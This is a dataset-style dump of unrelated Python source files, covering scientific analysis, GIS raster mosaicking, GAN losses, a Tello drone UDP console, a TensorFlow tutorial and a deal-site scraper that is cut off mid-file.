text
stringlengths
38
1.54M
''' 方法一:字典 ''' ''' 方法二:bit ''' def isDup(strs): lens=len(strs) flage=[0,0,0,0,0,0,0,0] i=0 while i<lens: index=int(ord(list(strs)[i])/32) shift=ord(list(strs)[i])%32 if (flage[index]&(1<<shift))!=0: return True flage[index]|=(1<<shift) i+=1 return False print(isDup('rtte'))
class EyeSample: def __init__(self, orig_img, img, is_left, transform_inv, estimated_radius): self._orig_img = orig_img.copy() self._img = img.copy() self._is_left = is_left self._transform_inv = transform_inv self._estimated_radius = estimated_radius @property def orig_img(self): return self._orig_img @property def img(self): return self._img @property def is_left(self): return self._is_left @property def transform_inv(self): return self._transform_inv @property def estimated_radius(self): return self._estimated_radius
# get modules import numpy as np import random import sys sys.setrecursionlimit(15000) import matplotlib.pyplot as plt import matplotlib.cm as cm from matplotlib.patches import Circle, PathPatch from matplotlib.path import Path import seaborn as sns import gif np.random.seed(42) # sns.set(style='dark') sns.set(style='white') N = 400 # (x = 0, y = range(0, N)), (x = N-1, y=range(0, N)), (x = range(0, N), y = 0), (x = range(0, N), y = N-1) # choose a cell randomly along any of the boundary def choose_border_cells(): bnd_cell = [] bnd_cell.append((0, random.randint(0, N-1))) bnd_cell.append((N-1, random.randint(0, N-1))) bnd_cell.append((random.randint(0, N-1), 0)) bnd_cell.append((random.randint(0, N-1), N-1)) choose_i, choose_j = random.choice(bnd_cell) return choose_i, choose_j # conditions - boundary limit def conditions(x, y): return [x < 0, x > N-1, y < 0, y > N-1] # choosing new coordinates from neighbor coordinates def random_walk(current_i, current_j): i, j = current_i, current_j coordinates = [(i-1, j-1), (i-1, j), (i-1, j+1), (i, j-1), (i, j+1), (i+1, j-1), (i+1, j), (i+1, j+1)] res_coordinates = [] for (x, y) in coordinates: condition = conditions(x, y) if any(condition): pass else: res_coordinates.append((x, y)) #print(res_coordinates) new_i, new_j = random.choice(res_coordinates) return new_i, new_j # size of the simulator (total N^2 positions) N = 400 # total pixels/positions = 160000 # zero to get a black background or one for white background and black point x = np.zeros((N, N)) # starting point x[int(N/2) - 1, int(N/2) - 1] = 1.0 # number of particles K = 10000 # generate gif to visualize the progression @gif.frame def plot(i): #choose_i, choose_j = choose_border_cells() prev_i, prev_j = choose_border_cells() # random walk returns new coordinates new_i, new_j = random_walk(prev_i, prev_j) #print(prev_i, prev_j) #print(new_i, new_j) while x[new_i, new_j] != 1.0: x[new_i, new_j] = 1.0 x[prev_i, prev_j] = 0.0 prev_i, prev_j = new_i, new_j new_i, new_j = random_walk(prev_i, prev_j) else: #print(prev_i, prev_j) x[prev_i, prev_j] = 1.0 R = 20 fig, ax = plt.subplots(figsize=(8, 8)) circle = Circle((0, 0), R, facecolor='none', edgecolor=(0, 0, 0), linewidth=1, alpha=0.1) ax.add_patch(circle) im = plt.imshow(x, origin='lower', interpolation='none', extent=([-1 * R, R, -1 * R, R])) im.set_clip_path(circle) ax.axis('off') plt.plot() #return x, count # save frames frames = [] for i in range(K): frame = plot(i) frames.append(frame) gif.save(frames, 'temp.gif', duration=0.001) # duration is in millisecond
import datetime import requests from fides.config import Config DEFAULT_PROPERTIES_FILE_NAME = 'fides.ini' ENV_FIDES_PROPERTIES_FILE = 'FIDES_PROPERTIES_FILE' PROP_FIDES_SERVER_URL_NAME = 'FIDES_SERVER_URL' PROP_FIDES_SERVER_URL_VAL = 'localhost' PATH_AGENT_CONNECT = 'api/agent/connect' PATH_AGENT_PING = 'api/agent/ping' PATH_INFERENCE = 'api/inference' class Agent(object): def __init__(self, connect=True): if connect: self.connect() def connect(self): data = {} self._send(data, path=PATH_AGENT_CONNECT) def send_inference(self, data): self._send(data, path=PATH_INFERENCE) def _send(self, data, path=''): """ """ base_data = self._get_base_data() data = {**base_data, **data} base_url = Config.get_property('PROP_FIDES_SERVER_URL_NAME', default=PROP_FIDES_SERVER_URL_VAL) url = '/'.join(base_url, path) requests.post(url, data=data) def _get_base_data(self): """ """ base_data = { 'timestamp': datetime.datetime.now() } base_data = {**base_data, **self.credentials} return base_data
my_list = ["в", "5", "часов", "17", "минут", "температура", "воздуха", "была", "+5", "градусов"] my_list2 = [] """my_list.pop(1) my_list.pop(-2), my_list.insert(-1, "+05") my_list.insert(1, "05") my_list2 = my_list.copy() my_list2.pop(0) my_list2.insert(0, "05") my_list2.pop(1) my_list2.insert(1, "+05") """ my_list[1] = "05" my_list[-2] = "+05" my_list.insert(-1, '"') my_list.insert(-3, '"') my_list.insert(4, '"') my_list.insert(3, '"') my_list.insert(2, '"') my_list.insert(1, '"') print(my_list) print(" ".join(my_list))
# 删除小于指定大小的对象。 # # 期望ar是带有标签对象的数组,并删除小于min_size的对象。 如果ar是bool,则首先标记图像。 这会导致布尔数组和0和1数组的行为可能不同。
import arcpy, os, random, xlrd, time from arcpy import env from arcpy.sa import * start_time = time.time() ################################################## ################################################## ## Parameters or variables that need to be changed ## before running the script ########### # Florida aerial grid grid = r"C:\Users\lucky.mehra\Desktop\Aerial Imagery\AerialPhotographygrids_2015\FLorida_East_NAD83_2011_USft.shp" # location of citrus polygons citrus = r"C:\Users\lucky.mehra\Desktop\Aerial Imagery\Indian_River\IR_3\2008 new\IR_3.shp" # the path to current workspace path = r"C:\Users\lucky.mehra\Desktop\Aerial Imagery\Indian_River\IR_3\2008 new" # location of sid files sid_loc = r"C:\Users\lucky.mehra\Desktop\Aerial Imagery\Indian_River\IR_1\2008\sid" # varibles to create names of sid files front_str = "OP2008_nc_0" back_str = "_24.sid" # identify which column number contains the Old_SPE_ID that is needed to create names of sid files # if it is fifth column in attribute table, enter 5-2 below columnidx = 3 # merged raster name merged_raster_name = "IR_3_08" # location of a blank arcmap document blank_map = r"C:\Users\lucky.mehra\Desktop\Aerial Imagery\Indian_River\IR_3\blank map.mxd" ################################################## ################################################## # create new folders in "path" os.makedirs(path + r"\Citrus only") os.makedirs(path + r"\Merged rasters") os.makedirs(path + r"\Signature file") # set the workspace arcpy.env.workspace = path # set the overwrite to TRUE to save the existing map document arcpy.env.overwriteOutput = True # get the map document mxd = arcpy.mapping.MapDocument(blank_map) # get the data frame df = arcpy.mapping.ListDataFrames(mxd,"*")[0] # create a new layer citrus_lyr = arcpy.mapping.Layer(citrus) grid = arcpy.mapping.Layer(grid) # add layers to the map arcpy.mapping.AddLayer(df, citrus_lyr, "AUTO_ARRANGE") #arcpy.mapping.AddLayer(df, grid, "AUTO_ARRANGE") # select grids that intersect with citrus polygons arcpy.MakeFeatureLayer_management(grid, 'grid_sel') arcpy.SelectLayerByLocation_management('grid_sel', 'intersect', citrus) # save selected grids into new layer arcpy.CopyFeatures_management('grid_sel', 'grid_sel_layer') # add new layer to the arcmap grid_sel_layer = arcpy.mapping.Layer(path + r"\grid_sel_layer.shp") #arcpy.mapping.AddLayer(df, grid_sel_layer, "AUTO_ARRANGE") # export the selected grids to an excel file arcpy.TableToExcel_conversion(path + r"\grid_sel_layer.shp", path + r"\grids.xls") #import the excel file back to python workbook = xlrd.open_workbook(path + r"\grids.xls") sheet = workbook.sheet_by_index(0) # put grid ids in a list a = sorted(sheet.col_values(columnidx)) len(a) b = a[0:len(a)-1] c = [str(int(i)) for i in b] front = [front_str * 1 for i in c] back = [back_str * 1 for i in c] name =[] for i in range(len(c)): name.append(front[i] + c[i] + back[i]) len(name) name # Mosaic to new raster input_rasters = ";".join(name) output_location = path + r"\Merged rasters" raster_dataset_name_with_extension = merged_raster_name coordinate_system_for_the_raster = "" pixel_type = "8_BIT_UNSIGNED" cellsize = "" number_of_bands ="3" mosaic_method = "LAST" mosaic_colormap_mode = "FIRST" try: arcpy.env.workspace = sid_loc arcpy.MosaicToNewRaster_management(input_rasters, output_location, raster_dataset_name_with_extension,\ coordinate_system_for_the_raster, pixel_type, cellsize, number_of_bands,\ mosaic_method, mosaic_colormap_mode) except: print "Mosaic To New Raster failed." print arcpy.GetMessages() # assign a name to location of merged raster merged_raster = output_location + "\\" + merged_raster_name # Extract by mask inMaskData = citrus arcpy.CheckOutExtension("Spatial") outExtractByMask = ExtractByMask(merged_raster, inMaskData) out_raster = path + r"\Citrus only" +"\\" + merged_raster_name outExtractByMask.save(out_raster) #add citrus only raster to map citrus_only = arcpy.MakeRasterLayer_management(out_raster, merged_raster_name + "_O") citrus_only1 = citrus_only.getOutput(0) arcpy.mapping.AddLayer(df, citrus_only1, "AUTO_ARRANGE") # Create 40 random polygons on citrus polygon layer # dissolve IR_3 arcpy.Dissolve_management(citrus, path + r"\citrus_dissolved") # create random points outName = "random_points" conFC = path + r"\citrus_dissolved.shp" numPoints = 40 arcpy.CreateRandomPoints_management(path, outName, conFC, "", numPoints, "100 Meters", "", "") # draw a circle around points using buffer tool arcpy.Buffer_analysis(path + r"\random_points.shp", path + r"\random_circles", "20 Meters") # draw polygons around the circles arcpy.FeatureEnvelopeToPolygon_management(path + r"\random_circles.shp", path + r"\random_polygons") # add random polygons layer to map document # create a new layer randomPoly = arcpy.mapping.Layer(path + r"\random_polygons.shp") # add layers to the map arcpy.mapping.AddLayer(df, randomPoly, "AUTO_ARRANGE") # save the map document mxd.saveACopy(path + "\\" + merged_raster_name + "_pre_sig.mxd") # open the map document os.startfile(path + "\\" + merged_raster_name + "_pre_sig.mxd") # get time used by computer to run the script print "Mission complete in hours:minutes:seconds" seconds = time.time() - start_time m, s = divmod(seconds, 60) h, m = divmod(m, 60) print "%d:%02d:%02d" % (h, m, s)
# coding: utf-8 # compare the USNO and SDSS v-band data provided by 3LAC # and the SDSS i-band data (SDSS_missing) provided by NED with each other. # In[0]: read and parse data; 999 sources with known redshift from __future__ import division import csv import numpy as np import quasars as quas from quasars import QuasarData, Band import matplotlib.pyplot as plt plt.style.use('mystyle.mplstyle') names = [] # 3FGL names cnames = [] #companion name Z = [] # redshifts Fr = [] # radio fluxes (mJy) Fx = [] # x-ray fluxes (erg/s/cm^2) V_USNO = [] # optical V magnitudes V_SDSS = [] # optical V magnitudes I_missing = [] # optical I magnitudes to be filled in G_missing = [] R_missing = [] file_begin = 60 with open('3lac_high.tsv') as tsv: i = 0 for line in csv.reader(tsv, delimiter="\t"): if (i >= file_begin): if 'fsrq' in line[7]: line = [s.replace(" ", "") for s in line] names.append(line[0]) cnames.append(line[2]) Z.append(line[8]) Fr.append(line[9]) Fx.append(line[11]) V_USNO.append(line[12]) V_SDSS.append(line[13]) I_missing.append(0.0) G_missing.append(0.0) R_missing.append(0.0) #find magnitudes on NED for objects without optical data provided # if(line[12].strip() and line[13].strip()): # print line[2] i = i + 1 # pull data from the larger catalog names_3fgl = [] Fg_3fgl = [] Gamma_3fgl = [] file_begin = 79 with open('3fgl.tsv') as tsv: i = 0 for line in csv.reader(tsv, delimiter="\t"): if (i >= file_begin): line = [s.replace(" ", "") for s in line] names_3fgl.append(line[2]) Fg_3fgl.append(line[13]) Gamma_3fgl.append(line[14]) i = i + 1 Fg = [] # Gamma = [] # spectral indeces for i in range(len(names)): index = [j for j in range(len(names_3fgl)) if names[i] in names_3fgl[j]][0] Fg.append(Fg_3fgl[index]) Gamma.append(Gamma_3fgl[index]) # pull out SDSS i-band optical data (for ALL sources, not just those that are missing it) file = open("3lac_high_opt_all.txt","r") lines = file.readlines() file.close() for line in lines: linesplit = line.strip().split('|') linesplit = [s.replace(" ", "") for s in linesplit] name = linesplit[0] try: index = cnames.index(name) except ValueError: index = -1 if(index != -1): if(linesplit[13]): I_missing[index] = float(linesplit[13]) R_missing[index] = float(linesplit[11]) G_missing[index] = float(linesplit[9]) # In[1]: identify where data is present/missing; 0.0 indicates missing def str2float(Z): Z_ = [] for z in Z: if(z): Z_.append(float(z)) else: Z_.append(0.0) return np.array(Z_) Z = str2float(Z) Fr = str2float(Fr) Fx = str2float(Fx) V_USNO = str2float(V_USNO) V_SDSS = str2float(V_SDSS) Fg = str2float(Fg) Fg = Fg * 1e-12 #over 100 MeV–100 GeV, erg cm−2 s−1, from power-law fit, 1 decimal place Gamma = str2float(Gamma) I_missing = np.array(I_missing) R_missing = np.array(R_missing) G_missing = np.array(G_missing) # In[2]: Optical data analysis. f0_i = 3.631e-20 # from SDSS paper (2010) f0_v = 3.8363e-20 # works for USNO? def magtoflux(V, f0): F = [] for v in V: if v == 0.0: F.append(0.0) else: F.append(quas.magtoflux(v, f0)) return F F_USNO = magtoflux(V_USNO, f0_v) F_SDSS = magtoflux(V_SDSS, f0_v) F_SDSS_i = magtoflux(I_missing, f0_i) # assume V band is 550 nm: convert everything to optical F_USNO = [quas.bandtoband(f, quas.lambda_v, quas.lambda_opt, quas.alpha_opt) for f in F_USNO] F_SDSS = [quas.bandtoband(f, quas.lambda_v, quas.lambda_opt, quas.alpha_opt) for f in F_SDSS] F_SDSS_i = [quas.bandtoband(f, quas.lambda_i, quas.lambda_opt, quas.alpha_opt) for f in F_SDSS_i] fmin_USNO = quas.bandtoband(quas.magtoflux(21, f0_v), quas.lambda_v, quas.lambda_opt, quas.alpha_opt) fmin_SDSS = quas.bandtoband(0.08317e-26, quas.lambda_i, quas.lambda_opt, quas.alpha_opt) # adopt Richards et al. (2006) k-correction for both o_USNO = Band('o', fmin_USNO, F_USNO, quas.k_opt) o_SDSS = Band('o', fmin_SDSS, F_SDSS, quas.k_opt) o_SDSS_i = Band('o', fmin_SDSS, F_SDSS_i, quas.k_opt) USNO = QuasarData(Z, [o_USNO]) SDSS = QuasarData(Z, [o_SDSS]) SDSS_i = QuasarData(Z, [o_SDSS_i]) USNO.sort() SDSS.sort() SDSS_i.sort() # In[3]: L vs. z Plots plt.figure(figsize=(8, 6)) plt.semilogy(USNO.Z, o_USNO.L, '.', markersize = 2) plt.semilogy(USNO.Z, o_USNO.Lmin) plt.title(r"3LAC USNO optical data + truncation ($V < 21)$") plt.xlabel("z") plt.ylabel("log(L)") plt.figure(figsize=(8, 6)) plt.semilogy(SDSS.Z, o_SDSS.L, '.', markersize = 2) plt.semilogy(SDSS.Z, o_SDSS.Lmin) plt.title(r"3LAC SDSS optical data + truncation ($i < 19.1$)") plt.xlabel("z") plt.ylabel("log(L)") plt.figure(figsize=(8, 6)) plt.semilogy(SDSS_i.Z, o_SDSS_i.L, '.', markersize = 2) plt.semilogy(SDSS_i.Z, o_SDSS_i.Lmin) plt.title(r"NED SDSS i-band optical data + truncation ($i < 19.1$)") plt.xlabel("z") plt.ylabel("log(L)") # In[4]: Band to band comparison # USNO vs. SDSS both = np.where((V_USNO != 0) & (V_SDSS != 0)) plt.figure(figsize=(8, 6)) plt.plot(V_USNO[both], V_SDSS[both], '.') plt.plot(range(12, 23), range(12, 23)) plt.title("V band observation, USNO vs. SDSS") plt.xlabel("USNO") plt.ylabel("SDSS") axes = plt.gca() axes.set_xlim([13,22]) axes.set_ylim([13,22]) both = np.where((o_USNO.F != 0) & (o_SDSS.F != 0)) plt.figure(figsize=(8, 6)) plt.plot(np.log10(o_USNO.F[both]), np.log10(o_SDSS.F[both]), '.') plt.plot(range(-33, 3), range(-33, 3)) plt.title("Optical flux, USNO vs. SDSS provided in 3LAC") plt.xlabel("USNO") plt.ylabel("SDSS") axes = plt.gca() axes.set_xlim([-28, -24]) axes.set_ylim([-28, -24]) # SDSS 3LAC vs. SDSS NED both = np.where((o_SDSS_i.F != 0) & (o_SDSS.F != 0)) plt.figure(figsize=(8, 6)) plt.plot(np.log10(o_SDSS_i.F[both]), np.log10(o_SDSS.F[both]), '.') plt.plot(range(-33, 3), range(-33, 3)) plt.title("Optical flux, SDSS from NED (i band) vs. SDSS provided in 3LAC (v band)") plt.xlabel("SDSS NED") plt.ylabel("SDSS 3LAC") axes = plt.gca() axes.set_xlim([-28, -24]) axes.set_ylim([-28, -24]) both = np.where((V_SDSS != 0) & (G_missing != 0)) plt.figure(figsize=(8, 6)) plt.plot(V_SDSS[both], G_missing[both], '.') plt.plot(range(12, 23), range(12, 23)) plt.title("V vs. g band observation, SDSS") plt.xlabel("V") plt.ylabel("g") axes = plt.gca() axes.set_xlim([12,22]) axes.set_ylim([12,22]) plt.figure(figsize=(8, 6)) plt.plot(V_SDSS[both], R_missing[both], '.') plt.plot(range(12, 23), range(12, 23)) plt.title("V vs. r band observation, SDSS") plt.xlabel("V") plt.ylabel("r") axes = plt.gca() axes.set_xlim([12,22]) axes.set_ylim([12,22]) plt.figure() plt.plot(R_missing, G_missing, '.') plt.plot(range(12, 23), range(12, 23)) axes = plt.gca() axes.set_xlim([12,22]) axes.set_ylim([12,22])
# This example script demonstrates how use Python to allow users to send SDK to Tello commands with their keyboard # This script is part of our course on Tello drone programming # https://learn.droneblocks.io/p/tello-drone-programming-with-python/ # Import the necessary modules import socket import threading import select import time import sys start_time = time.time() # IP and port of Tello tello_address = ('192.168.10.1', 8889) # IP and port of local computer #local_address = ('', 9000) # **** sometimes 9000 works but 8889 does not **** local_address = ('', 8889) # switch to 8889 for same send/receive port? # Create a UDP connection that we'll send the command to sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Bind to the local address and port sock.bind(local_address) sock.setblocking(0) # set to non-blocking # Send the message to Tello and allow for a delay in seconds def send(message): # Try to send the message otherwise print the exception try: sock.sendto(message.encode(), tello_address) # print("Sending message: " + message) print("time: %10.4f Sending message: %s" % (time.time()-start_time, message)) except Exception as e: print("Error sending: " + str(e)) # Receive the message from Tello def receive(): # Continuously loop and listen for incoming messages while not receiveStop.is_set(): # Try to receive the message otherwise print the exception try: ready = select.select([sock],[],[], 1.0) # try with 1 second timeout # print('ready=', ready) if ready[0]: response, ip_address = sock.recvfrom(128) print("time: %10.4f Received message: %s" % (time.time()-start_time, response.decode(encoding='utf-8'))) # print("Received message: " + response.decode(encoding='utf-8')) except Exception as e: # If there's an error close the socket and break out of the loop sock.close() print("Error receiving: " + str(e)) break # Create and start a listening thread that runs in the background # This utilizes our receive function and will continuously monitor for incoming messages receiveThread = threading.Thread(target=receive) receiveThread.daemon = False receiveStop = threading.Event() receiveStop.clear() receiveThread.start() # Tell the user what to do print('Type in a Tello SDK command and press the enter key. Enter "quit" to exit this program.') # Loop infinitely waiting for commands or until the user types quit or ctrl-c while True: try: # Read keybord input from the user if (sys.version_info > (3, 0)): # Python 3 compatibility message = input('') else: # Python 2 compatibility message = raw_input('') # If user types quit then lets exit and close the socket if 'quit' in message: receiveStop.set() # set stop variable receiveThread.join(timeout=3.0) # wait for termination of state thread before c sock.close() print("Program exited sucessfully") break # Send the command to Tello send(message) # Handle ctrl-c case to quit and close the socket except KeyboardInterrupt as e: sock.close() break
from torchvision import transforms from torch.utils.data import Dataset import torch import os from PIL import Image from math import log2 class Scalable_Dataset(Dataset): def __init__(self, root, datamode = "train", transform = transforms.ToTensor(), latent_size=512): super().__init__() if datamode == "val": self.image_dir = root else: self.image_dir = os.path.join(root, datamode) self.image_names = os.listdir(self.image_dir) self.image_paths = [os.path.join(self.image_dir, name) for name in self.image_names] self.data_length = len(self.image_names) self.resolution = 4 self.transform = transform self.latent_size = latent_size def set_resolution(self, resolution): self.resolution = resolution def __len__(self): return self.data_length def __getitem__(self, index): img_path = self.image_paths[index] img = Image.open(img_path) if img.size != (64,64): print(img_path) resized_img = transforms.functional.resize(img, self.resolution) latent = torch.randn(size=(self.latent_size, 1, 1)) if not self.transform is None: resized_img = self.transform(resized_img) return latent, resized_img class HingeLoss(torch.nn.Module): def __init__(self, mode="g", device="cpu"): super().__init__() assert mode in ["g", "d"], "mode shoud be g or d" self.mode = mode self.device = device def forward(self, output_d, isreal=True): if self.mode == "g": return -torch.mean(output_d) zero_tensor = torch.zeros(output_d.shape, device=self.device) if isreal is True: return -torch.mean(torch.min(output_d - 1, zero_tensor)) else: return -torch.mean(torch.min(-output_d - 1, zero_tensor)) class BLoss(torch.nn.Module): def __init__(self, mode, device="cpu"): super().__init__() assert mode in ["g", "d"] self.mode = mode self.func = torch.nn.BCEWithLogitsLoss() self.device = device def forward(self, output_d, isreal=True): if self.mode == "g": return self.func(output_d, torch.ones(output_d.shape,device=self.device)) elif self.mode == "d": if isreal is True: return self.func(output_d, torch.ones(output_d.shape, device=self.device)) else: return self.func(output_d, torch.zeros(output_d.shape, device=self.device)) class LSLoss(torch.nn.Module): def __init__(self, mode, device="cpu"): super().__init__() assert mode in ["g", "d"] self.mode = mode self.func = torch.nn.MSELoss() self.device = device def forward(self, output_d, isreal=True): if self.mode == "g": return self.func(output_d, torch.ones(output_d.shape, device=self.device)) elif self.mode == "d": if isreal is True: return self.func(output_d, torch.ones(output_d.shape, device=self.device)) else: return self.func(output_d, torch.zeros(output_d.shape, device=self.device)) class WLoss(torch.nn.Module): def __init__(self, mode, device="cpu"): super().__init__() assert mode in ["g", "d"] self.mode = mode self.device = device def forward(self, output_d, isreal=True): if self.mode == "g": return -torch.mean(output_d) elif self.mode == "d": if isreal is True: return -torch.mean(output_d) else: return torch.mean(output_d)
# Third-party imports import pytest from mxnet import nd # First-party imports from gluonts.block.encoder import HierarchicalCausalConv1DEncoder nd_None = nd.array([]) @pytest.mark.skip() def test_hierarchical_cnn_encoders() -> None: num_ts = 2 ts_len = 10 test_data = nd.arange(num_ts * ts_len).reshape(shape=(num_ts, ts_len, 1)) chl_dim = [30, 30, 30] ks_seq = [3] * len(chl_dim) dial_seq = [1, 3, 9] cnn = HierarchicalCausalConv1DEncoder( dial_seq, ks_seq, chl_dim, use_residual=True ) cnn.collect_params().initialize() cnn.hybridize() print(cnn(test_data, nd_None, nd_None)[1].shape)
# nodenet/layers/nodes.py # Description: # "nodes.py" provide node layers. # Copyright 2018 NOOXY. All Rights Reserved. from nodenet.imports.commons import * from .base import * import nodenet.functions as func import numpy # Vector Nodes input: 2D vector, output: 2D vector class Nodes1D(Layer): def __init__(self, nodes_number, activatior=func.sigmoid): self.nodes_number = nodes_number self.activator = activatior self.latest_input_signal = None self.latest_sensitivity_map = None self.latest_dropout_keep_mask = None self.is_input_layer = False self.is_output_layer = False def __str__(self): string = '' string += 'Nodes1D(nodes number: '+str(self.nodes_number)+', activator: '+str(self.activator)+')' return string def convert(self): self.clear_cache() def clear_cache(self): self.latest_input_signal = None self.latest_sensitivity_map = None self.latest_dropout_keep_mask = None def new_dropout(self, dropout_keep): if (dropout_keep < 1) and (not self.is_input_layer) and (not self.is_output_layer): self.latest_dropout_keep_mask = np.array(numpy.random.binomial(numpy.ones(shape=(1, self.nodes_number), dtype=numpy.int64), dropout_keep).tolist()) def forward(self, input_signal, forward_config, *args): trace = forward_config['trace'] dropout_keep = forward_config['dropout_keep'] if trace: self.latest_input_signal = input_signal output_signal = self.activator(input_signal) # Do dropout if (dropout_keep < 1) and (not self.is_input_layer) and (not self.is_output_layer): output_signal = (1.0/dropout_keep)*output_signal*self.latest_dropout_keep_mask return output_signal def update_gradient(self, input_sensitivity_map, dropout_keep=0): # Do dropout self.latest_sensitivity_map = np.multiply(input_sensitivity_map, self.activator(self.latest_input_signal, derivative=True)) if (dropout_keep < 1) and (not self.is_input_layer) and (not self.is_output_layer): self.latest_sensitivity_map = (1.0/dropout_keep)*self.latest_sensitivity_map*self.latest_dropout_keep_mask def get_sensitivity_map(self): return self.latest_sensitivity_map def backward(self, input_sensitivity_map, backward_config, *args): dropout_keep = backward_config['dropout_keep'] self.update_gradient(input_sensitivity_map, dropout_keep) return self.get_sensitivity_map() class Nodes2D(Layer): def __init__(self, nodes_width, nodes_height, nodes_depth, activatior=func.sigmoid): self.nodes_width = nodes_width self.nodes_height = nodes_height self.nodes_depth = nodes_depth self.activator = activatior self.latest_input_signal = None self.latest_sensitivity_map = None self.latest_dropout_keep_mask = None self.is_input_layer = False self.is_output_layer = False def __str__(self): string = '' string += 'Nodes2D(nodes : '+str(self.nodes_width)+'x'+str(self.nodes_height)+', activator: '+str(self.activator)+')' return string def convert(self): self.clear_cache() def clear_cache(self): self.latest_input_signal = None self.latest_sensitivity_map = None self.latest_dropout_keep_mask = None def new_dropout(self, dropout_keep): if (dropout_keep < 1) and (not self.is_input_layer) and (not self.is_output_layer): self.latest_dropout_keep_mask = np.array(numpy.random.binomial(numpy.ones(shape=(1, self.nodes_depth, self.nodes_height, self.nodes_width), dtype=numpy.int64), dropout_keep).tolist()) def forward(self, input_signal, forward_config, *args): # print(input_signal.shape) trace = forward_config['trace'] dropout_keep = forward_config['dropout_keep'] if trace: self.latest_input_signal = input_signal output_signal = self.activator(input_signal) # Do dropout if (dropout_keep < 1) and (not self.is_input_layer) and (not self.is_output_layer): output_signal = (1.0/dropout_keep)*output_signal*self.latest_dropout_keep_mask return output_signal def update_gradient(self, input_sensitivity_map, dropout_keep=0): # Do dropout self.latest_sensitivity_map = np.multiply(input_sensitivity_map, self.activator(self.latest_input_signal, derivative=True)) if (dropout_keep < 1) and (not self.is_input_layer) and (not self.is_output_layer): self.latest_sensitivity_map = (1.0/dropout_keep)*self.latest_sensitivity_map*self.latest_dropout_keep_mask def get_sensitivity_map(self): return self.latest_sensitivity_map def backward(self, input_sensitivity_map, backward_config, *args): dropout_keep = backward_config['dropout_keep'] self.update_gradient(input_sensitivity_map, dropout_keep) return self.get_sensitivity_map()
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('books', '0003_auto_20151118_2314'), ] operations = [ migrations.RenameField( model_name='transaction', old_name='price', new_name='amount', ), migrations.AddField( model_name='transaction', name='category', field=models.CharField(choices=[('exp', 'expense'), ('inc', 'income')], max_length=3, default=0), preserve_default=False, ), migrations.AlterField( model_name='transaction', name='modified', field=models.DateTimeField(default=django.utils.timezone.now), ), ]
import pandas as pd import numpy as np import matplotlib.pyplot as plt import tensorflow as tf #step 1 load the data dataframe = pd.read_csv('data.csv') dataframe = dataframe.drop(['index' , 'price', 'sq_price' ], axis = 1) #drop the index column dataframe = dataframe[0:10] # to read dataframe of rows from 0 to 10 #add a new column of labels for classification # 1 is good buy and 0 is bad buy dataframe.loc[: , ('y1')] = [1 ,1 , 1 , 0 , 0,1 , 0 , 1 , 1 , 0] dataframe.loc[: , ('y2')] = dataframe['y1'] == 0 # y2 is a negation of y1 dataframe.loc[: , ('y2')] = dataframe['y2'].astype(int) #convert true false to 1 and 0 #step 3 prepare data for tensorflow inputX = dataframe.loc[: , ['area, bathroom']].as_matrix() #converting features to input tensor inputY = dataframe.loc[: , ['y1 , y2']].as_matrix() #convert labels to input tensors #step 4 write our hyperparameters learning_rate = 0.0001 training_epochs = 2000 display_step = 50 n_samples = inputY.size #step 5 create our computational graph / neural network #placeholders are gateways for data into our computational graph x = tf.placeholder(tf.float32 , [None , 2]) #None means we can specify any number of examples into the tensorflow placeholder , 2 because we are inputting 2 features #create weights # 2x 2 float matrix #Variables hold and update parameters w = tf.Variable(tf.zeros([2,2])) # adding biases b = tf.Variable(tf.zeros([2])) # 2 because we have two inputs #biases help our model fit better # for y = mx + b that is linear regression #multiply our weights by our inputs y_values = tf.add(tf.matmul(x , W), b) #apply softmax to values we just created #softmax is our activation function y = tf.nn.softmax(y_values) #feed in a matrix of labels y_ = tf.placeholder(tf.float32 , [None , 2]) # perform training #create our cost function , mean squared error #reduce_sum computes the sum of elements across dimensions of a tensor cost = tf.reduce_sum(tf.pow(y_ - y , 2))/(2 * n_samples) #gradient descent #optimizer function optimizer = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost) #initialize variables and tensorflow session init = tf.initialize_all_variables() sess = tf.Session() sess.run(init) #training loop for i in range(training_epochs): sess.run(optimizer , feed_dict = {x : inputX , y_ : inputY}) #loggs for training if (i) % display_step == 0: cc = sess.run(cost , feed_dict = {x : inputX , y_ : inputY}) print ("Training step:", '%04d' % (i), "cost=", "{:.9f}".format(cc)) print ('Optimization finished') training_cost = sess.run(cost , feed_dict = {x : inputX , y_ : inputY}) print ('Training Cost = ' , training_cost , 'W= ' , sess.run(W) , 'b=' , sess.run(b)) sess.run(y, feed_dict = {x:inputX})
# https://www.hardmob.com.br/forums/407-Promocoes?pp=30&sort=dateline&order=desc&daysprune=-1 import re import requests from win10toast import ToastNotifier import time import pickle import os import glob from twilio.rest import Client hardmob_filename = "https://www.hardmob.com.br/forums/407-Promocoes?pp=50&sort=dateline&order=desc&daysprune=-1" pelando_filename = "https://www.pelando.com.br/recentes?page=" adrenaline_filename = "https://adrenaline.uol.com.br/forum/forums/for-sale.221/?order=post_date" from_whatsapp_number = 'whatsapp:+14155238886' to_whatsapp_number = 'whatsapp:+554396662771' # Todo # Create a filter # Add More sites # Identify some written errors def hardmob_request(path): pattern = r"\<a class=\"title.*\".+\>.*\<" content = requests.get(path).text return re.findall(pattern, content) def pelando_request(path): pattern = r"\<a\s*class=\"cept-tt thread-link.*\"\s*title=\".*\"\s*href=\".*\" data\-handler=\".*\" data\-track=.*\>\s.*?\<\/a" contents = [] for i in range(1, 15): contents.append(requests.get(path+str(i)).text) content = " ".join(contents) return re.findall(pattern, content) def adrenaline_request(path): pattern = r"\<a href=\"threads\/.*\"\s*title=\".*\"\s*class=\"PreviewTooltip\"\s*data-previewUrl=\"threads/.*\"\>.*\<" content = requests.get(path).text return re.findall(pattern, content) def request_from_site(path, site): if site == "hardmob": matches = hardmob_request(path) elif site == "pelando": matches = pelando_request(path) elif site == "adrenaline": matches = adrenaline_request(path) only_titles = [] for i in matches: item = re.search(r">\s*(.+)<", i).group(1) link = re.search(r"href=\"(.*?)\"", i).group(1) if site == "hardmob": link = "https://www.hardmob.com.br/"+link elif site == "adrenaline": link = "https://adrenaline.uol.com.br/forum/"+link title = item + "\n\t-> link: " + link + "\n" only_titles.append(title) return only_titles def verify_already_exists(items, site): pkl_file = site+".pkl" if not os.path.isfile(pkl_file): with open(pkl_file, 'wb') as f: pickle.dump([], f) with open(pkl_file, 'rb') as f: items_pkl = pickle.load(f) if items_pkl is 